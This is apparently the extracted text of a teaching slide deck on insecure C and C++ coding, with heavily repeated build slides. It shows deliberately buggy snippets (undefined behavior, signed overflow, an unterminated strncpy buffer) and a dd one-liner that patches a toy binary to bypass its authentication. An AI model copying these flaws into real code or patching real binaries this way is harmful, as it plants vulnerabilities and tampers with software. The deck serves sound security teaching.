  • 247. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); } 55 push ebp 89 e5 mov ebp,esp 83 ec 28 sub esp,0x28 c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 8d 45 eb lea eax,[ebp-0x15] 89 04 24 mov DWORD PTR [esp],eax e8 8e fe ff ff call 80483d0 <puts@plt> c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf e8 af ff ff ff call 80484fd <launch_missiles> c9 leave c3 ret $ cp launch launch_mod $ printf "x55x89xe5x83xecx28xc7x45xebx44x61x76x69xc7x45xef x64x20x72x6fxc7x45xf3x63x6bx73x21xc6x45xf7x00x8dx45xeb x89x04x24xe8x8exfexffxffxc7x04x24xbfx07x00x00xe8xafxff xffxffxc9xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518)) $ ./launch_mod WarGames MissileLauncher v0.1 David rocks! Launching 1983 missiles Operation complete $
  • 248. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); } And finally, if you are not happy with the functionality, you can always just replace some of the code in the program. In this case I wrote a my own authenticate and launch function.Then compiled it locally on my machine. I did an objdump of my new function, and compared it with an objdump of the old function.Then it was easy to craft a patch needed to replace the original function with my own, and viola! 55 push ebp 89 e5 mov ebp,esp 83 ec 28 sub esp,0x28 c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 8d 45 eb lea eax,[ebp-0x15] 89 04 24 mov DWORD PTR [esp],eax e8 8e fe ff ff call 80483d0 <puts@plt> c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf e8 af ff ff ff call 80484fd <launch_missiles> c9 leave c3 ret $ cp launch launch_mod $ printf "x55x89xe5x83xecx28xc7x45xebx44x61x76x69xc7x45xef x64x20x72x6fxc7x45xf3x63x6bx73x21xc6x45xf7x00x8dx45xeb x89x04x24xe8x8exfexffxffxc7x04x24xbfx07x00x00xe8xafxff xffxffxc9xc3" | dd conv=notrunc of=launch_mod bs=1 seek=$((0x518)) $ ./launch_mod WarGames MissileLauncher v0.1 David rocks! Launching 1983 missiles Operation complete $
  • 249. Some tricks for insecure coding in C and C++
  • 250. c = a() + b();
  • 251. c = a() + b();
  • 252. c = a() + b(); which function will be called first?
  • 253. c = a() + b(); C and C++ are among the few programming languages where evaluation order is mostly unspecified.This is an example of unspecified behavior. which function will be called first?
  • 254. c = a() + b(); C and C++ are among the few programming languages where evaluation order is mostly unspecified.This is an example of unspecified behavior. which function will be called first? Trick #1: Write insecure code by depending on a particular evaluation order
  • 255. int a = 3; int n = a * ++a;
  • 256. int a = 3; int n = a * ++a; What is the value of n?
  • 257. int a = 3; int n = a * ++a; What is the value of n? Since the evaluation order here is not specified the expression does not make sense. In this particular example there is a so called sequence point violation, and therefore we get undefined behavior.
  • 258. int a = 3; int n = a * ++a; What is the value of n? Since the evaluation order here is not specified the expression does not make sense. In this particular example there is a so called sequence point violation, and therefore we get undefined behavior. Trick #2: #2 Write insecure code by breaking the sequencing rules
  • 259. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c What do you think will actually happen if you compile, link and run it in your development environment?
  • 260. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): What do you think will actually happen if you compile, link and run it in your development environment?
  • 261. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out What do you think will actually happen if you compile, link and run it in your development environment?
  • 262. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 What do you think will actually happen if you compile, link and run it in your development environment?
  • 263. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out What do you think will actually happen if you compile, link and run it in your development environment?
  • 264. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out 11 What do you think will actually happen if you compile, link and run it in your development environment?
  • 265. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out 11 $ icc foo.c && ./a.out What do you think will actually happen if you compile, link and run it in your development environment?
  • 266. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out 11 $ icc foo.c && ./a.out 13 What do you think will actually happen if you compile, link and run it in your development environment?
  • 267. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out 11 $ icc foo.c && ./a.out 13 What do you think will actually happen if you compile, link and run it in your development environment? Trick #3: Write insecure code where the result depends on the compiler
  • 268. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): $ gcc foo.c && ./a.out 12 $ clang foo.c && ./a.out 11 $ icc foo.c && ./a.out 13 What do you think will actually happen if you compile, link and run it in your development environment? Trick #3: Write insecure code where the result depends on the compiler (*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
  • 269. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c
  • 270. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c The compiler I use gives me warnings for code like this.
  • 271. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 272. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 273. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 274. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 275. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 276. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 11 On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 277. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 11 $ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 278. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 11 $ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 13 On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this.
  • 279. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 11 $ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 13 On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this. The point is that the C standard does not require compilers to diagnose "illegal" code.
  • 280. #include <stdio.h> int main(void) { int v[] = {0,2,4,6,8}; int i = 1; int n = i + v[++i] + v[++i]; printf("%dn", n); } foo.c $ gcc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 12 $ clang -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 11 $ icc -std=c99 -O -Wall -Wextra -pedantic foo.c && ./a.out 13 On my computer (Mac OS 10.8.2, gcc 4.2.1, clang 4.1, icc 13.0.1): OK, so let's add some flags.The compiler I use gives me warnings for code like this. The point is that the C standard does not require compilers to diagnose "illegal" code. Trick #4: Write insecure code by knowing the blind spots of your compilers
  • 281. On undefined behavior anything can happen!
  • 282. When the compiler encounters [a given undefined construct] it is legal for it to make demons fly out of your nose” [comp.std.c] On undefined behavior anything can happen!
  • 283. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called?
  • 284. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c
  • 285. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c
  • 286. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization:
  • 287. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1
  • 288. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 false clang 4.1
  • 289. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1
  • 290. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get:
  • 291. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get: false
  • 292. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get: false false
  • 293. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get: false false false
  • 294. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get: false false false (*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
  • 295. Exercise #include <stdio.h> #include <stdbool.h> void foo(void) { bool b; if (b) printf("truen"); if (!b) printf("falsen"); } foo.c This code is undefined behavior because b is used without being initialized (it has an indeterminate value). But in practice, what do you think are possible outcomes when this function is called? void bar(void); void foo(void); int main(void) { bar(); foo(); } main.c void bar(void) { char c = 2; (void)c; } bar.c This is what I get on my computer with no optimization: true icc 13.0.1 true false gcc 4.7.2 false clang 4.1 with optimization (-O2) I get: false false false (*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon Trick #5: Write insecure code by messing up the internal state of the program.
  • 296. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } deep_thought.c
  • 297. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c
  • 298. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c
  • 299. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out The anwser is: 3.1417926 #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c
  • 300. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out The anwser is: 3.1417926 Inconceivable! #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c
  • 301. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out The anwser is: 3.1417926 Inconceivable! Remember... when you have undefined behavior, anything can happen! #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c
  • 302. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out The anwser is: 3.1417926 Inconceivable! Remember... when you have undefined behavior, anything can happen! #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c Integer overflow gives undefined behavior. If you want to prevent this to happen you must write the logic yourself.This is the spirit of C, you don’t get code you have not asked for.
  • 303. int the_answer(int seed) { int answer = seed + 42; return answer - seed; } $ cc main.c deep_thought.c && ./a.out The anwser is: 3.1417926 Inconceivable! Remember... when you have undefined behavior, anything can happen! #include <stdio.h> #include <limits.h> int the_answer(int); int main(void) { printf("The answer is:n"); int a = the_answer(INT_MAX); printf("%dn", a); } main.cdeep_thought.c Integer overflow gives undefined behavior. If you want to prevent this to happen you must write the logic yourself.This is the spirit of C, you don’t get code you have not asked for. Trick #6: Write insecure code by only assuming valid input values
  • 304. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); }
  • 305. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out
  • 306. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644
  • 307. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645
  • 308. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646
  • 309. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647
  • 310. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out
  • 311. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644
  • 312. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645
  • 313. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646
  • 314. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647
  • 315. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 -2147483648
  • 316. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 -2147483648 -2147483647 -2147483646 -2147483645 -2147483644 -2147483643 -2147483642 -2147483641 -2147483640 -2147483639 -2147483638 -2147483637 -2147483636 -2147483635
  • 317. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (i > 0) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 -2147483648 -2147483647 -2147483646 -2147483645 -2147483644 -2147483643 -2147483642 -2147483641 -2147483640 -2147483639 -2147483638 -2147483637 -2147483636 -2147483635
  • 318. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (true ) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 -2147483648 -2147483647 -2147483646 -2147483645 -2147483644 -2147483643 -2147483642 -2147483641 -2147483640 -2147483639 -2147483638 -2147483637 -2147483636 -2147483635
  • 319. #include <stdio.h> #include <limits.h> void foo(void) { int i = INT_MAX - 3; while (true ) printf("%dn", i++); } int main(void) { foo(); } $ cc foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 $ cc -O2 foo.c && ./a.out 2147483644 2147483645 2147483646 2147483647 -2147483648 -2147483647 -2147483646 -2147483645 -2147483644 -2147483643 -2147483642 -2147483641 -2147483640 -2147483639 -2147483638 -2147483637 -2147483636 -2147483635 Trick #7: Write insecure code by letting the optimizer remove apparently critical code
  • 320. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); }
  • 321. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); } foo.c && ./a.out
  • 322. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); } foo.c && ./a.out David
  • 323. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); } foo.c && ./a.out David globalthermonuclJoshua
  • 324. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); } foo.c && ./a.out David globalthermonuclJoshua buffer[sizeof buffer - 1] = '0';
  • 325. #include <stdio.h> #include <string.h> void foo(char * str) { char secret[] = "Joshua"; char buffer[16]; strncpy(buffer, str, sizeof buffer); printf("%sn", buffer); // ... } int main(void) { foo("David"); foo("globalthermonuclearwar"); } foo.c && ./a.out David globalthermonuclJoshua Trick #8: Write insecure code by using library functions incorrectly buffer[sizeof buffer - 1] = '0';
  • 326. 08048518 <authenticate_and_launch>: 8048518 push ebp 8048519 mov ebp,esp 804851b sub esp,0x38 804851e mov eax,gs:0x14 8048524 mov DWORD PTR [ebp-0xc],eax 8048527 xor eax,eax 8048529 mov DWORD PTR [ebp-0x18],0x2 8048530 mov BYTE PTR [ebp-0x19],0x0 8048534 mov DWORD PTR [esp],0x8048687 804853b call 80483a0 <printf@plt> 8048540 lea eax,[ebp-0x14] 8048543 mov DWORD PTR [esp],eax 8048546 call 80483b0 <gets@plt> 804854b mov DWORD PTR [esp+0x4],0x8048690 8048553 lea eax,[ebp-0x14] 8048556 mov DWORD PTR [esp],eax 8048559 call 8048390 <strcmp@plt> 804855e test eax,eax 8048560 jne 8048566 <authenticate_and_launch+0x4e> 8048562 mov BYTE PTR [ebp-0x19],0x1 8048566 cmp BYTE PTR [ebp-0x19],0x0 804856a je 8048583 <authenticate_and_launch+0x6b> 804856c mov DWORD PTR [esp],0x8048697 8048573 call 80483d0 <puts@plt> 8048578 mov eax,DWORD PTR [ebp-0x18] 804857b mov DWORD PTR [esp],eax 804857e call 80484fd <launch_missiles> 8048583 movzx eax,BYTE PTR [ebp-0x19] 8048587 xor eax,0x1 804858a test al,al 804858c je 804859a <authenticate_and_launch+0x82> 804858e mov DWORD PTR [esp],0x80486a6 8048595 call 80483d0 <puts@plt> 804859a mov eax,DWORD PTR [ebp-0xc] 804859d xor eax,DWORD PTR gs:0x14 80485a4 je 80485ab <authenticate_and_launch+0x93> 80485a6 call 80483c0 <__stack_chk_fail@plt> 80485ab leave 80485ac ret 080484c8 <authenticate_and_launch>: 80484c8 push ebp 80484c9 mov ebp,esp 80484cb sub esp,0x28 80484ce mov DWORD PTR [ebp-0x10],0x2 80484d5 mov BYTE PTR [ebp-0x9],0x0 80484d9 mov DWORD PTR [esp],0x8048617 80484e0 call 8048360 <printf@plt> 80484e5 lea eax,[ebp-0x18] 80484e8 mov DWORD PTR [esp],eax 80484eb call 8048370 <gets@plt> 80484f0 mov DWORD PTR [esp+0x4],0x8048620 80484f8 lea eax,[ebp-0x18] 80484fb mov DWORD PTR [esp],eax 80484fe call 8048350 <strcmp@plt> 8048503 test eax,eax 8048505 jne 804850b <authenticate_and_launch+0x43> 8048507 mov BYTE PTR [ebp-0x9],0x1 804850b cmp BYTE PTR [ebp-0x9],0x0 804850f je 8048528 <authenticate_and_launch+0x60> 8048511 mov DWORD PTR [esp],0x8048627 8048518 call 8048380 <puts@plt> 804851d mov eax,DWORD PTR [ebp-0x10] 8048520 mov DWORD PTR [esp],eax 8048523 call 80484ad <launch_missiles> 8048528 movzx eax,BYTE PTR [ebp-0x9] 804852c xor eax,0x1 804852f test al,al 8048531 je 804853f <authenticate_and_launch+0x77> 8048533 mov DWORD PTR [esp],0x8048636 804853a call 8048380 <puts@plt> 804853f leave 8048540 ret compiled with -fno-stack-protector compiled with -fstack-protector
